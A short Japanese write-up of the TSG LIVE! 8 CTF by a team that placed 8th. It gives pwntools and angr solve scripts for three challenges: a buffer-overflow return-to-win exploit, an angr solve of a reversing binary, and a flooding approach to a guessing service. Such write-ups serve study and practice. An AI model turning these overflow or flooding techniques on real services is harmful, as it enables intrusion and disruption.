about

TSG LIVE! 8 CTFに「やきとりやさん」として参加し,最終的には8位でした.

Pwn

bpxover

シンプルなbof

from pwn import *
binfile = 'chall'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chall.live.ctf.tsg.ne.jp', 30006)

pad = b'a' * 0x28

payload = pad + pack(e.sym['win'])

io.sendline(payload)

io.interactive()

TSGの問題なのでビビっていたが,これは普通の問題だった.FB取れたかわからない.

Rev

DNS ROPOB

他のPwn見て唸っていたので,問題一覧見たらROPOBって書いてあってびっくりしてすぐ落とした.

入力値のチェックをするようなRev問解く時はとりあえずangrを回してからバイナリを読むので,いつものsnipetで回してから読もうと思ったらangrが先に解いてくれていた.

多分非想定解法でFB

import angr
import logging

logging.getLogger("angr").setLevel("CRITICAL")
angr.manager.l.setLevel("CRITICAL")
proj = angr.Project("dns_ropob")

simgr = proj.factory.simgr()
simgr.explore(find=lambda s: b"correct!" in s.posix.dumps(1), avoid=lambda s: b"wrong!" in s.posix.dumps(1))
if len(simgr.found) > 0:
    print(simgr.found[0].posix.dumps(0).decode("utf-8", "ignore"))
    exit(0)
else:
	print('not found')

Misc

guess

guessが苦手なのでDoSみたいな事しちゃったらなぜか解けた

#!/usr/bin/env python3
from pwn import *
import subprocess
binfile = 'guess'
context.log_level = 'critical'
e = ELF(binfile)
context.binary = binfile
io = remote('chall.live.ctf.tsg.ne.jp', 21234)

pw = subprocess.run("pwgen 50000 -s -1 -N1|tail -c 20", shell=True, stdout=subprocess.PIPE).stdout

io.sendlineafter(b':', pw)

while True:
    print(io.readline().decode(), end='')
    print(io.readline().decode(), end='')
    io.sendline(pw)

subprocessの使い方も怪しい

まとめ

ROPOBのFB取れたのは嬉しかったけど非想定解法だと思うので,後でバイナリ読みます.